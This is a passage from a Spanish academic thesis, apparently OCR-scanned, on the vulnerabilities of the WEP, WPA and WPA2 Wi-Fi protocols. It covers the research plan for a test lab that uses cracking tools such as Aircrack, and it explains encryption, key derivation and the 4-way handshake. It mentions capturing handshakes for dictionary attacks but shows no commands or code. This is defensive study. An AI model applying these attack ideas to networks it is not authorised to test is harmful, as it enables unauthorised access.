CAPITULO |

MARCO REFERENCIAL

1.1. Planteamiento del problema

En la actualidad, las organizaciones son cada vez mas dependientes de sus redes
informaticas y un problema que las afecte, por minimo que sea, puede llegar a
comprometer la continuidad de las operaciones. La falta de medidas de seguridad en
las redes es un problema que esta en crecimiento. Cada vez es mayor el nUmero de
atacantes y cada vez estan mas organizados, por lo que van adquiriendo dia a dia

habilidades mas especializadas que les permiten obtener mayores beneficios.

Tampoco deben subestimarse las fallas de seguridad provenientes del interior mismo
de la organizacion. La propia complejidad de la red es una dificultad para la deteccién
y correccion de los multiples y variados problemas de seguridad que van apareciendo.
En medio de esta variedad, han ido aumentando las acciones poco respetuosas de la
privacidad y de la propiedad de recursos y sistemas. “Hackers”, “crakers”, entre otros,

han hecho aparicion en el vocabulario ordinario de los usuarios y de los

administradores de las redes.

Por otro lado, en el mundo inalambrico en que vivimos se transmiten datos
constantemente de un dispositivo a otro, de una persona a otra, sin que muchas veces
nos percatemos de ello. Hay que tener en cuenta que en una WLAN todos los
ordenadores radian informacion de forma ininterrumpida, e incluso anuncian su
presencia a cualquiera que pase dentro de su radio de alcance, este hecho hace que
sea muy facil espiar la red, por lo tanto, nos encontramos con el problema de que al

contrario que en el caso de una red cableada, en la que el intruso necesita un acceso
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fisico al edificio u oficina donde se encuentra la red interna que trata de asaltar, las
sefales de radio utilizadas por los dispositivos sin cables navegan con libertad a través

del aire, al alcance de aquel que esté dispuesto a interceptarlas.

Aquel intruso que desee aprovecharse de nuestra conexion, que intente “espiar” los
datos intercambiados entre las estaciones que forman la WLAN, o lo que podria ser
peor, que utilizase nuestra red como punto de ataque para cometer delitos
informaticos contra otros objetivos, podra hacerlo sin tener acceso fisico al recinto
donde esté ubicada dicha red, podra hacerlo cdmodamente desde casa de un vecino
situado a una distancia no demasiado larga o en cualquier lugar proximo a la red
objetivo, con el problema adicional de que la intercepcion de paquetes de datos no
sera detectada y el atacante puede actuar sin nuestro conocimiento, y por lo tanto le

dard mas tiempo a la hora de planificar su estrategia de ataque.

Se han desarrollado muchas estrategias para intentar evitar estos problemas, la
mayoria basadas principalmente en el cifrado de las comunicaciones (WEP, WPA,
WPAZ2), pero también la debilidad de estos mecanismos de seguridad es conocida hoy

en la actualidad existen muchas maneras de romper y conocer las claves de acceso.

También existen otro tipo de medidas de proteccion como el filtrado de direcciones
MAC, o bien medidas de proteccion mas robustas basadas en el estandar 802.1x.
Ademéas de las desventajas citadas anteriormente, otro problema de las redes
inalambricas es la falta de integracion de estos mecanismos. Ademas de las
desventajas citadas anteriormente, otro problema de las redes inalambricas es la falta

de integracion de estos mecanismos.
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1.2. Justificacion

Con la proliferacion del uso de portétiles, PDA’s e incluso celulares con capacidades
inalambricas WLAN, cada vez es mayor la demanda de conexiones a wireless access
points. Las redes wireless se difunden con rapidez, gran comodidad y ventajas que
suponen estas nuevas opciones de conexion han hecho que muchisimos usuarios no
se hayan percatado de los peligros a que estdn expuestas las redes wireless (al no

haber ya una conexion fisica).

Es asi que el crecimiento desmedido conexiones sin cable ha creado la curiosidad de
muchos a tratar de interferir en estas, logrando en muchos de los casos obtener claves
de acceso. Hoy en dia existen programas y sistemas operativos completos e incluso
manuales que detallan paso a paso como quebrar y hacer vulnerable una red

inalambrica como sus mecanismos de seguridad.

La presente investigacion trata de solucionar uno de los problemas mas comunes en la
comunicacion inalambrica propiamente la seguridad ante ataques de personas no
autorizadas en el uso de redes WIFI, integrando soluciones compuestas sin depender
del hardware o software o de una sola manera de proteger nuestros datos y prevenir el

acceso.

Para esto usaremos un par de ambientes de pruebas (ver figura 1), en el cual se tenga
montada una red inaldmbrica utilizando el estadndar 802.11 (WIFI) con varios
dispositivos intercambiando archivos, y en muchos de los casos iniciando la

comunicacion con la red wireless:

¢ Un Access Point que soporte WEP, WPA, WPA2 y 802.1x con las variantes
EAP (en especial TTLS).
« Dos 0 mas maquinas clientes con Windows que serviran de usuarios de la red

wireless montada.
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» Una portatil en donde esté instalado, herramientas inaldmbricas / wireless tolos
(Netstumbler, kismet, AP snif, Netstumbler, Ipref, Aircrack, Wireshark) que me
permitan realizar ataques a la red montada y de cierta manera poder
vulnerarla.

e El servidor RADIUS con soporte 802.1x con las variantes EAP (en especial

TTLS) para la parte Enterprise
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(Auditoria, scaneo y roptura)

Figura 1. Ambientes de Pruebas

Este ambiente puede ser interpretado ayudandonos de un software analizador de
paquetes o sniffer el cual nos permitirhd analizar los problemas. Finalmente una vez
gue podamos establecer un patron general de las vulnerabilidades, tendremos la
oportunidad de proponer soluciones al problema de seguridad, estas pudiendo ser a
nivel de software o hardware (lo cual se definira en el transcurso de la investigacion en

la guia referencial).

La finalidad del uso de protocolos de seguridad en redes WIFI por parte de los
dispositivos moviles es evitar el miedo de que estas sean vulnerables y no seguras en
el trafico de datos y acerque a todas los involucrados hacia un sistema integral

compuesto en el que todos saldran beneficiados. Ademas se pretende aprovechar el
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despunte y la enorme popularidad de estas redes para acercar a una gran mayoria
todavia alejados de las nuevas tecnologias mdviles, a las nuevas posibilidades,

servicios y contenidos seguros.

1.3. Objetivos

1.3.1. Objetivo General

“Analizar las vulnerabilidades de protocolos de proteccion y autenticacion inalambrico

para el acceso seguro en redes inaldambricas WIFI.”

1.3.2. Objetivos Especificos

< Estudiar las prestaciones, limitaciones y seguridades de las tecnologias de red

inalambrica para redes WIFI.

* Analizar y comparar la vulnerabilidad de los protocolos de proteccion y

autenticacion (WEP, WPA, WPA2) en el acceso seguro de la red.

« Crear un ambiente de pruebas para demostrar la vulnerabilidad de acceso de

los protocolos de seguridad WIFI.

e Proponer una guia referencial para el disefio y configuracién de una red WIFI

segura.

1.4. Alcance

El nimero de redes wireless se ha visto acrecentado en los ultimos afos, pero de la
misma manera se ha incrementado el descubrimiento de vulnerabilidades del estandar
IEEE 802.11b (WIFI) y son los propios usuarios de esta tecnologia que pueden ver su

intimidad comprometida y datos confidenciales de gran valor pueden ser robados
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debido a estos agujeros de seguridad. Es por ello que en el presente trabajo se
estudiaran las principales vulnerabilidades de protocolos de proteccion y autenticacion
(WEP, WPA, WPA2) del estdndar 802.11b (WIFI) para el acceso seguro. Ademas que

se tendra en cuenta el estandar 802.1X con su variante EAP-TTLS.

En primer lugar, se tratar4 de realizar una descripcion del estandar IEEE 802.11b,
explicando su funcionamiento. Seguidamente se expondran los diferentes protocolos
de seguridad antes mencionados para este tipo de redes, realizando una exposicion
detallada de cémo funcionan. Para estudiar las diferentes vulnerabilidades de los
protocolos inalambricos, se tomaran en cuenta las ventajas y desventajas de los
mismos, ademas se realizara un andlisis comparativo de los diversos protocolos de
proteccibn y autenticacion WIFI, tomando en cuenta aspectos como: cifrado,
autenticacion y mecanismos de entrega de datos, asi como las que sean aplicables en

el Ecuador.

Luego de haber realizado este estudio comparativo, se tomaran en cuenta
contramedidas, que nos permitiran evaluar (mediante un conjunto de ataques
asociados a la confidencialidad, integridad, autenticacion y disponibilidad en redes
wireless) las que mejor se adeclen para el acceso seguro en redes WIFI. Proponiendo

finalmente una guia referencial para el disefio y configuracion de una red WIFI segura.

1.5. Hipétesis

“El andlisis de vulnerabilidades de protocolos de proteccion y autenticacion inalambrico

permitira escoger una tecnologia adecuada para el acceso seguro en redes wifi.”
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CAPITULO II

REVISION DE LITERATURA

2.1 Introduccion

Las tecnologias inaldmbricas constituyen una de las grandes revoluciones de este
siglo, WIFI, WIMAX, GSM, Bluetooth, etc., son algunas de estas que han proliferado
en los dltimos afos. Las tecnologias inalambricas han contribuido en gran manera a
otro fendbmeno que es la movilidad. Esta ha cambiado en el dltimo par de afos, sin que

muchos lo perciban, la estructura y la topologia de las redes empresariales.

Los dispositivos de almacenamiento de informacién que antes eran fijos y estaban
protegidos por las defensas perimetrales, ahora son madviles y "pasean” por todo el
planeta. PC portatiles, PDA’s, muchas veces, archivos con informacion confidencial de

las organizaciones.

2.2 El Estandar IEEE 802.11

La primera aproximacion del estdndar 802.11[11] fue desarrollada en 1997 por la
asociacion técnico-profesional ANSI/IEEE (Instituto Nacional Estadounidense de
Estandares/Institute of Electrical and Electronics Engineers). Su objetivo principal fue
definir tanto la capa fisica del estdndar como la capa de enlace (MAC). 802.11 forma
parte de la familia de estandares de redes locales y metropolitanas. La relacién con los

otros miembros de su familia se puede ver en la figura 2.

El proposito del estandar 802.11[9] es proveer a los equipos, estaciones de trabajo y
magquinaria de una conectividad inaldmbrica, la cual permita el libre movimiento de los

clientes sin una pérdida de conexion.
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Figura 2. Esquema de estandares 802.x".

2.3 Arquitectura de Redes Wireless

Redes de é&rea local inalambrica Ad-hoc.-  Ad-hoc ElI nombre proviene del latin que
significa que es "sblo para ese propdsito”, que significa que no hay un control
centralizado. Tomando guiadas a las redes, seria como poner dos computadoras con
sus tarjetas de red conectado a un cable de red del cross-over, que no es necesario un
concentrador para conectar cambiar entre ellos. En una red inaldmbrica en modo ad-
hoc puede conectar mas de dos computadoras sin usar un concentrador inalambrico
(punto de acceso / AP). En ad-hoc puede compartir impresoras y archivos, incluso

internet. Redes de area local Punto de acceso

Inalambrico Punto de Acceso / Ap.-  Una LAN inaldmbrica puede tener acceso a un
punto de transmision que sirve como centros de operaciones para otras redes. Estos
puntos pueden conectarse a una red de area local inalambrica con una ubicacién fija,
lo que permite el pleno acceso a todos los equipos de los recursos de red disponibles.
El acceso se realiza a través de un AP (Access Point). Los puntos de acceso también

se pueden configurar en las maquinas con la tarjeta de red apropiada y software.

! IEEE Standard 802.11™-20@ar wireless local area networks (Revision of IEEE Std 802.11-1999)
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LAN inaldmbrica con mdltiples puntos de acceso y pu ntos de extension.- Si un
area es muy grande geograficamente, con sélo un punto de acceso no se comporta
entonces se lleva a cabo otros puntos de acceso a la AP o0 puntos de extension.
Puntos de extension no estan definidos en las normas de transmision inaldmbrica,
pero han sido desarrollados por algunos fabricantes como una opcion para la
propagacion de la sefial. La principal diferencia entre la AP y los puntos de extension,

es el hecho de que las extensiones no requieren de una red fija.

2.4 Seguridad en las redes WLAN

La seguridad se convierte en algo ain mas importante en este tipo de redes debido a
su medio de transmision, combinado con la falta de una frontera fisica, significa que un
dispositivo inalambrico estd transmitiendo o enviando broadcast en su entorno
cercano, por esto, cualquier estacién que esté en el rango del nodo WLAN tendra

acceso completo a los datos.

Las dos formas primarias de seguridad en una red, son la encriptacion y la
autenticacion. La encriptacion significa volver ilegibles los mensajes de acuerdo a un
algoritmo matematico utilizando una clave secreta que solo es conocida por el
remitente y el receptor. Por otro lado, la autenticacion es una forma de asegurar que
los usuarios son los que dicen ser antes de que sean autorizados para el acceso a la
red. Ademas, es importante notar que no solo la red debe autenticar a los usuarios; el
usuario debe también verificar la identidad de la red para asi prevenir ciertos tipos de

ataques.

2.4.1 Historia de la seguridad en las redes WLAN

Las primeras redes WLAN carecian totalmente de seguridad. No existia una

preocupacion por aspectos como la escucha, espionaje o intercepcién de mensajes.
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Mas tarde nacio el estindar WEP (Wire Equivalent Privacy), el cual incorporaba la
autenticacion de usuario y encriptacion posterior de las sesiones. Este estandar fue
atacado y roto por parte de usuarios avanzados o hackers. Debido a los continuos
ataques, surgio el WPA (Wi-Fi Protected Acces), el cual da una seguridad més robusta
que el anterior, es soportado a nivel hardware por los anteriores dispositivos (es

necesario cambiar el firmware).

De este estandar surgié el WPA-PSK (Pre-Shared Key) que incorpora unos niveles de
cifrado apropiados mediante RC4 dinamico (TKIP), una verificacion nueva llamada

MIC (Michael) y proteccion mediante desconexion contra ataques.

802.1X WEP 802.11g 802.11i
WEPZ Dinamico WPA WPA2

802.11 802.11b

1997 1999 2001 2002 2003 2004

Figura 3. Cronologia de seguridad en redes WLAN

En el afio 2004 naci6 el WPA2 gue era una mejora del anterior, incluia CCMP sobre
bloques de AES y la norma PMK (Pairwise Master Key) para facilitar el roaming entre
puntos de acceso. Esta nueva implantacibn completa de seguridad se conoce como

RSN (Robust Security Network)[7].

2.5 Protocolos De Proteccion Inalambrico.

El estdndar inaldmbrico de comunicaciones IEEE802.11 y sus diversos grupos de
trabajo posteriores establecen la posibilidad de conferir a esta tecnologia, capacidades
de integridad de datos, confidencialidad y autenticidad de las estaciones. De esta
manera existen 3 protocolos de seguridad basados en la norma IEEE802.11 y

IEEE802.11.:
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*  WEP como parte de la norma IEEE802.11
*  WPA como borrador de la norma IEEE802.11i

«  WPA2 como parte de la norma IEEE802.11i

De esta manera y con el objetivo de poder comprender las vulnerabilidades que
afectan a cada uno de estos protocolos es necesario definir su funcionamiento.
Estableciendo principalmente la manera en que las estaciones se autentican en el AP
y el cifrado en las comunicaciones utilizado, conceptos de seguridad claves para el

analisis realizado.

2.5.1 Protocolo WEP

2.5.1.1 Definicién

WEP (Wired Equivalent Privacy, Privacidad Equivalente al Cable) es el algoritmo
opcional de seguridad para brindar proteccién a las redes inalambricas, incluido en la
primera version del estandar IEEE 802.11, mantenido sin cambios en las nuevas
802,11a , 802.11b y 802.11g, con el fin de garantizar compatibilidad entre distintos
fabricantes. EI WEP es un sistema de encriptacion estandar soportado por la mayoria

de las soluciones inalambricas.

Pero ¢por qué cifrar las comunicaciones inaldmbricas?. El entorno de Radio
Frecuencia es un canal de comunicacion inseguro, ya que cualquier estaciéon dentro
del rango de la sefal puede recibir los datos emitidos por otra. Conscientes de ello el
IEEE implemento un mecanismo de seguridad que pudiera otorgar al medio
inalambrico las caracteristicas del cableado, todo ello sin demasiado éxito, como en

secciones posteriores comprobaremos.

Aunque en los entornos de RF (Radio Frecuencia) pueden residir las escuchas
ilegales pasivas, la unica forma efectiva de prevenir que alguien pueda comprometer

los datos transmitidos consiste en utilizar mecanismos de cifrado. El proposito de WEP
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es garantizar que los sistemas inalambricos dispongan de un nivel de confidencialidad
equivalente al de las redes LAN cableadas, mediante el cifrado de los datos que son
transportados por las sefiales de radio. Cabe destacar que un propdsito secundario de
WEP es el de evitar que usuarios no autorizados puedan acceder a las redes WLAN

(es decir, proporcionar autenticacion).

WEP utiliza una misma clave simétrica y estatica en las estaciones y el punto de
acceso. El estandar no contempla ningin mecanismo de distribucion automéatica de
claves, lo que obliga a escribir la clave manualmente en cada uno de los elementos de
red. Esto genera varios inconvenientes. Por un lado, la clave esta almacenada en
todas las estaciones, aumentando las posibilidades de que sea comprometida. Y por
otro, la distribucién manual de claves provoca un aumento de mantenimiento por parte
del administrador de la red, lo que conlleva, en la mayoria de ocasiones, que la clave

se cambie poco o nunca.

2.5.1.2 Cifrado

Una vez definido los propositos por el cual el IEEE decidié crear WEP hablemos del
mencionado cifrado [2]. WEP utiliza una clave secreta compartida entre una estacion
inaldmbrica y un punto de acceso. Todos los datos enviados y recibidos entre la
estacion y el punto de acceso pueden ser encriptados utilizando esta clave compartida
mediante el algoritmo de cifrado RC4 de RSA1 Data Security. Para proteger los datos
a transportar frente a modificaciones no autorizadas mientras esta en transito, WEP
aplica un algoritmo de comprobacion de integridad (CRC-32) al texto en claro, lo que
genera un valor de comprobacién de integridad (ICV). Dicho valor de comprobacion de
integridad se concatena con el payload a transmitir en claro. El valor de comprobacion
de integridad es, de hecho, una especie de huella digital de los datos a transmitir. Otro

concepto que tiene que quedar claro es el llamado vector IV, dicho vector es
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simplemente una numeracion que se adjunta a cada paquete WEP y que es utilizado

tanto para cifrar el mensaje como para descifrarlo.

El algoritmo de encriptacion utilizado RC4 segun el estandar es de 64 bits, pudiendo
alcanzar incluso 128 bits. Estos 64 bits estan formados por 24 bits correspondientes al
vector de inicializacibn mas 40 bits de la clave secreta. Los 40 bits son los que se
deben distribuir manualmente. El vector de inicializacion (IV), en cambio, es generado
dindmicamente y deberia ser diferente para cada trama. El objetivo perseguido con el
IV es cifrar con claves diferentes para impedir que un posible atacante pueda capturar
suficiente trafico cifrado con la misma clave y terminar finalmente deduciendo la clave.
Como es légico, ambos extremos deben conocer tanto la clave secreta como el IV. Lo
primero sabemos ya que es conocido puesto que estd almacenado en la configuracion
de cada elemento de red. El IV, en cambio, se genera en un extremo y se envia en
claro en la propia trama al otro extremo, por lo que también sera conocido.
Observemos que al viajar el IV en cada trama es sencillo de interceptar por un posible

atacante.

Profundicemos un poco mas en las partes y el funcionamiento de RC4 ya que como
veremos en secciones posteriores supone uno de los puntos débiles del protocolo
WEP. RC4 consta de dos modulos diferenciados, un algoritmo barajador o
programador de claves llamado KSA y un modulo de generacion de nuameros
pseudoaleatorios denominado PRNG (Pseudo Random Number Generator), ambos

implementados por Ron Rivest?en 1987 y publicados de manera clandestina en 1994.

KSA (Key Scheduling Algorithm) es un pequefio algoritmo de programacion de claves
gue toma como entrada el par 1V-Clave secreta. Dicha entrada consiste en una trama
de 64 o0 128 bits dependiendo del cifrado utilizado. Como resultado genera un vector S

de 256 elementos totalmente desordenados.

2 Divisién de seguridad de la empresa EMC:, http://people.csail.mit.edu/rivest/
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PRNG toma como entrada el mencionado vector S generado como salida una trama

de bits pseudoaleatoria de igual tamafio a los datos a cifrar.

2.5.1.3 Autenticacion

WEP proporciona dos tipos de autenticacion: un sistema abierto, en el que todos los
usuarios tienen permiso para acceder a la WLAN, y una autenticacion mediante clave

compartida, que controla el acceso a la WLAN y evita accesos no autorizados a la red.

De los dos niveles, la autenticacion mediante clave compartida es el modo menos
seguro. En él se utiliza una clave secreta compartida entre todas las estaciones y
puntos de acceso del sistema WLAN y que coincide con la clave de cifrado. Cuando
una estacion trata de conectarse con un punto de acceso, éste replica con un texto
aleatorio, que constituye el desafio (challenge). La estacion debe utilizar la copia de su
clave secreta compartida para cifrar el texto de desafio y devolverlo al punto de
acceso, con el fin de autenticarse. El punto de acceso descifra la respuesta utilizando
la misma clave compartida y compara con el texto de desafio enviado anteriormente.
Si los dos textos son idénticos, el punto de acceso envia un mensaje de confirmacion
a la estacion y la acepta dentro de la red. Si la estacion no dispone de una clave, o si
envia una respuesta incorrecta, el punto de acceso la rechaza, evitando que la

estacién acceda a la red.

La autenticacion en modo abierto representa un nivel de seguridad mayor que utilizar
una autenticacion con clave compartida. Asi pues cuando una estacion utiliza clave
compartida para autenticarse contra el punto de acceso una tercera estacién que
permanezca a la escucha podria interceptar el saludo o handshake para un posterior
ataque por diccionario o fuerza bruta que determinara la clave compartida. Pudiendo
asi descifrar todo el trafico de la red tan solo capturando el reto y la contestacion por

parte de la estacion licita.
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2.5.1.4 Funcionamiento

A continuacioén definiremos la metodologia implementada por WEP para cifrar/descifrar
una trama de datos con destino el medio inalambrico, asumiendo que se utiliza una

encriptacién de 64 bits.

1. En primera instancia la clave compartida formada por una cadena de 40 bits a
la cual se le concatena un vector de inicializacion IV de 24 bits formando asi
una cadena de 64bits.

2. Se calcula el CRC-32 de los datos que se quieren cifrar (hasta 2312 bates)
también llamado ICV, formando el par Datos+ICV.

3. Se aplica el algoritmo PRNG (Pseudo Random Number Generator) de RC4 a la
cadena que contiene la clave compartida mas el vector de inicializacién,
resultando el llamado Keystream de igual longitud que la salida del paso
namero 2.

4. Finamente se aplica la funcién XOR entre el Keystream y el par Datos+ICV.

5. Al resultado anterior se le aflade en claro el IV utlizado y la cabecera

IEEE802.11 resultando una trama cifrada y lista para transmitir

La figura 4 ilustra el procedimiento completo, tanto para el proceso de cifrado como el
de descifrado. En este momento la trama ha sido inyectada al medio de RF siendo
recibida por la estacion destino. Cabe destacar que en todo momento la cabecera de
la trama 802.11 viaja en claro pudiendo ser interpretada por cualquier estacion que
este a la escucha en el medio. Los datos que se pueden extraer de una trama
encriptada y no siendo conocedor de la clave compartida serian, la direccion del

BSSID, direccion destino, direccion origen, IV utilizado.

Asi pues un receptor licito que fuera conocedor del secreto compartido procederia a

desencriptar la trama de la siguiente manera.
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El receptor, extrae de la trama el valor del IV transmitido en claro,

concatenandole dicho valor a la llave que tanto emisor y receptor conocen.

Seguidamente se le aplica RC4 resultando un Keystrem de longitud igual a los
datos cifrados

Se realiza la operacion XOR entre el Keystream y los datos cifrados.
Resultando el texto en claro més la comprobacién de redundancia ciclica.

Se comprueba que la trama es valida mediante el CRC-32 correspondiente.

VHNEP key

v

PRMNG | | —» Key stream @ Data+lCV ——
(XOR)

v v

802 11 header | | v |Other| Data | IV \ |802.11trailer
|
[

Encrypted ————————

F Y

802.11 frame payload »

|4 802.11 frame >

802,11 neaver | | v [omer] Data | ov ] [s0211 vaer
IVHWEP key

»
PRNG | | —* Key stream @ Encrypted[Data+ICV] —>| Data | ICV |
(¥OR)
Figura 4. Cifrado y Descifrado mediante WEP®

Protocolo WPA

2.5.2.1 Definicién

% Documento de IEE 802.11 wireless security de
http://www.microsoft.com/download/en/details.aspspthylang=en&id=5142
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WPA (Wi-Fi Protected Access) fue desarrollado por la Wi-Fi Alliance® y el IEEE en
2003 como resultado de aplicar el borrador del estandar IEEE 802.11i. Su principal
objetivo era cubrir todas aquellas carencias de seguridad detectadas en el protocolo
de seguridad nativo de 802.11 WEP. Cabe destacar que WPA no representa un
protocolo que pueda asegurar una proteccion cien por cien del medio inalambrico ya
que como en muchos casos esto depende en gran parte del usuario final [4]. WPA es
un estandar a nivel MAC orientado tanto al mundo de la pequefa oficina y el usuario

domeéstico como a grandes empresas.

Las principales caracteristicas de WPA son:

* Distribucién dinamica de claves
* Incremento de la robustez del vector de inicializacion

» Aplica nuevas técnicas de integridad y autenticacion

2.5.2.2 Autenticacion

Prestaremos especial atencién al método empleado por WPA para autenticar a las
estaciones ya que supondra uno de los puntos débiles de este protocolo de seguridad.
Por lo que respecta a la autenticacion, en funcion del entorno de aplicacién, es posible
emplear dos modos de autenticacion diferentes WPA-PSK (Pre Shared Key) o WPA

EAP (Extensible Autentication Protocol).

En entornos personales, como usuarios residenciales y pequefios comercios, se utiliza

WPA con clave pre-compartida o también llamada WPA-PSK

En estos entornos no es posible contar con un servidor de autenticacion centralizado o

un marco EAP. Es este contexto WPA se ejecuta en un modo especial conocido como

4 Wi-FI Alliance es una asociacion internacional&nimo de lucro creada en 1999, con el objetivo de
certificar productos derivados del estandar 802.11.
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“Home Mode” o PSK, que permite la utilizacion de claves configuradas manualmente y

facilitar asi el proceso de configuracion del usuario doméstico.

El usuario Unicamente debe introducir una clave de 8 a 63 caracteres, conocida como
clave maestra, en su punto de acceso, médem o router inalambrico residencial, asi
como en cada uno de los dispositivos que quiere conectar a la red. De esta forma solo
se permite acceso a aquellos dispositivos que son conocedores de la contrasefa, lo
gque evita ataques basados en escuchas asi como acceso de usuarios no autorizados.
En segundo lugar se puede asegurar que la clave proviene de una relacion de acuerdo
anico para generar el cifrado TKIP (Temporal Key Integrity Protocol) en la red, el cual
describiremos més a delante. Por lo tanto la contrasefia preestablecida para la
autenticacion es compartida por todos los dispositivos de la red, pero no son las claves
de cifrado, que son diferentes para cada dispositivo, o que representa una mejora en
cuanto a WEP. En general WPA parece representar un nivel superior en cuanto a la

seguridad que ofrecia WEP.

A diferencia de WEP , WPA utiliza varias claves temporales diferentes para cifrar el
payload dependiendo del trafico al que pertenece el paquete, unicast, broadcast o
multicast y alas que denomina PTK (Primary Temporal Key) para el primero y GTK
(Group Temporal Key) para los dos restantes. Estas Keys sufren un proceso de
regeneracion de claves cada cierto tiempo, con el objetivo de impedir que una estacion

legitima pueda llegar a capturar la clave de sesion utilizada.

La PSK es conocida por todas las estaciones del medio ademas del AP y esta formada
por una serie de valores dependientes del escenario. Cabe destacar que la PSK no es
la cadena utilizada para encriptar los paguetes de datos. Ni siquiera se utiliza como tal
para autenticar la estacion en el AP, sino que se construye la llamada PMK (Primary
Master Key), a partir de la PSK y un proceso de maodificacion. El resultado es una

cadena de 256 bits. Pero, ¢qué elementos se utilizan para construir dicha PMK?. Muy
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facil, la contrasefia precompartida, el ESSID del AP, la longitud del ESSID, y un
barajado de 4096 procesos. Todo ello es generado por una funcibn matematica

llamada PBKDF2 ofreciendo como resultado una clave PMK de 256 bits.

PMK = PBKDF21° (Frase secreta, ESSID, Long(ESSID), 4096, 256)

Una vez obtenida esta clave puede comenzar el proceso de autenticacion con el AP al
que se denomina 4-Way Handshake o saludo inicial representado en la figura 1. Asi
pues tanto la estacion como el AP generan a partir de los siguientes valores la PTK y

la GTK utilizada para cifrar los datos. Siendo ambas diferentes en cada sesién.

Pero, ¢Como es generada esta PTK?, para ello se utiliza una funcion pseudoaleatoria

PRF-X gue toma como fuente los datos siguientes:

« PMK: Calculada mediante la PSK y el algoritmo PBKDF2

» SNonce : Numero aleatorio determinado por la estacion.

« ANonce : Numero aleatorio determinado por el AP.

* MAC del AP : MAC del punto de acceso

* MAC de la estacion

En este momento, la comunicacion es iniciada mediante el envio de un paquete
tipo “EAPOL start” desde la estacion al AP. Seguidamente el AP genera un numero
aleatorio “ANonce” que es transmitido a la estacion. Esta contesta remitiéndole
otro nimero aleatorio SNonce. En estos momentos ambos pueden generar ya su
PTK con la que cifraran el trafico unicast, a partir de los valores mencionados. A su
vez el AP esta en disposicion de generar la GTK procediendo a transmitirla a la
estacion de forma cifrada. Por ultimo se envia un paquete de reconocimiento
cerrando asi el proceso de autenticacion. En la figura anterior se puede apreciar

las operaciones realizadas para el célculo de la PTK.

*PBKDF2 es una funcién de PKCS #5 v2.0: Passwordeb&syptography estandar
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I:E 802.11 Station 80211 Access Point
802.1X Supplicant 802.1X Authenticator
SNonce = Random | ‘ ANeonce = Random

¢ EAPOLKey(00.1,0,7,0,0 ANoncs, 0.0)

Calculate PTK using ANonce and SNonce |

EAPOL-Key(0,1,0,0,P,0,0,SNonce MIC,RSNIE)

‘ Calculate PTK using ANonce and SNonce

“EAPOL-Key(1.1.1.1,P,0.Key RSC, Anonce, MIC, RSNIE, GTKIKeyiD])

EAPOL-Key(1,10,0,P,0,0,0MIC, 0) -

Set Temporal Encryption and MIC Keys ‘ Set Temporal Encryption and MIC Keys
Set GTK for KeylD

Figura 5. 4-way handshake®

En cuanto a la autenticacion en entornos empresariales los requerimientos estrictos de
cifrado y autenticacion hacen que sea mas adecuada la utilizacion de WPA con los
mecanismos |EEE802.1X y el protocolo de autenticacion extensible EAP, que
disponen de procedimientos de gestion de claves dinamicos. EAP es utilizado para el
transporte extremo a extremo para los métodos de autenticacion entre el dispositivo de
usuario y el punto de acceso. Mientras que IEEE802.1X es utilizado como marco para
encapsular los mensajes EAP en el enlace radio. El conjunto de estos dos
mecanismos junto con el esquema de cifrado forman una fuerte estructura de
autenticacion, que utiliza un servidor de autenticacion centralizado, como por ejemplo

RADIUS.

® |EEE Standard 802.11™-2003r wireless local area networks (Revision of IEEE Std 802.11-1999) pag 218
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2.5.2.3 Cifrado

En cuanto al cifrado, el equipo de desarrollo de WPA trato de paliar las
vulnerabilidades conocidas por WEP, incorporando las siguientes mejoras. Creacion
de un vector de inicializacion extendido a 48 bits frente a los 24 bits de WEP, a su vez

aplicaron reglas de secuenciacion para la numeracion.

Nuevos mecanismos de derivacion y distribucién de claves. Gracias a la incorporacion
de métodos de intercambio inicial de nimeros aleatorios evitando asi ataques de “man

in the middle”.

WPA utiliza TKIP (Temporal Key Integrity Protocol) como encriptacion, para la
generacion de claves por paquete, TKIP utiliza el algoritmo de cifrado RC4, al igual
gue su predecesor WEP, pero elimina el problema de las claves estaticas compartidas,
como veremos en posteriores secciones. A su vez TKIP incrementa el tamafio de las
claves pares y claves en grupo para el cifrado de datos de los 40 bits de WEP se pasa
a un cifrado de 128 bits. Ademas las claves empleadas no son compartidas por todos

los usuarios de la red.

WPA utiliza TKIP para codificar los datos. EI mencionado cifrado utiliza una semilla
inicial de 128 bits compartida por todos los usuarios y los puntos de acceso. Después
esa clave temporal se combina con la direccibn MAC del usuario y se le afiade un
vector de inicializacién de 16 bits para producir la clave que cifrara los datos, mediante

este proceso cada usuario utilizard diferentes claves para la encriptacion.

TKIP fuerza por defecto un cambio de las claves entre el usuario moévil y el punto de
acceso para cada paquete de informacion transmitida y aplicando un algoritmo de
“Hash” o mezclado a los valores del vector de inicializacion, es decir, se cifra dicho
vector, por lo que es mas complicado averiguar su valor. El cambio de la clave de

cifrado esta sincronizado entre el usuario y el punto de acceso. Pero no todo es bueno
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en este protocolo cabe destacar el hecho de que establecer todas estas medidas de
seguridad suponen un aumento del Overhead de la comunicacién ya que los paquetes

de datos han de llevar una sobrecarga de gestion.

Ademéas WPA implementa como WEP, control de integridad de mensaje, pero con
mayor robustez. WPA incluye el llamado MIC o “Michael” para verificar que un paquete
no ha sido alterado por una estacion ilicita. La funciébn MIC, es un Hash criptografico
de un solo sentido, el cual reemplaza al CRC-32 utilizado en WEP. “Michael” provee
una funcion mateméatica de alta fortaleza en la cual el receptor y el transmisor deben
computar, y luego comparar, sino coinciden los datos se asumen como corruptos
desechando el paquete. De este modo, TKIP impide que un atacante pueda alterar los

datos que se transmiten dentro de un paquete.

2.5.2.4 Funcionamiento

A continuacion como se produce el cifrado de la informacién para una trama unicast.

1. Inicialmente se genera el IV correspondiente al paquete a enviar, esta
numeracion comienza en 0. Mediante el IV la direccion de destino y la PTK se
genera la semilla que utilizara el algoritmo de cifrado RC4.

2. Mediante la funcion PNRG se genera la cadena utilizada para cifrar los datos.
Por otra parte la MAC origen y destino, la prioridad del paquete y los datos a
remitir son pasados como entrada al algoritmo de control de integridad
“Michael”.

3. Seguidamente se calcula el ICV (un CRC-32) de la cadena MIC (salida de
“Michael”).

4. Se produce a continuacion la operacion XOR entre la terna Datos+MIC+ICV y
la cadena de cifrado salida del PNRG.

5. La siguiente figura ilustra el proceso de encriptacion de una trama 802.11
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IV, DA, Data encryption key

Key |
mixing v

DA+SA+Priority+Data, Data integrity key

L Michae

1
IV, Per-packet encryption key

!

PRNG ——» Key stream l—.[—‘ Data+MICHCV ——
(HOR)
v ' v
80211 header| | 1v [owner] Eav | Date L ME | e | (50211 railer
- Encrypted
— 0211 framepavioad —————
. 80211 frame »

Figura 6. Encriptacion de una trama 802.11 mediante WPA’

Para desencriptar una trama cifrada mediante TKIP se realizaria las siguientes

operaciones:
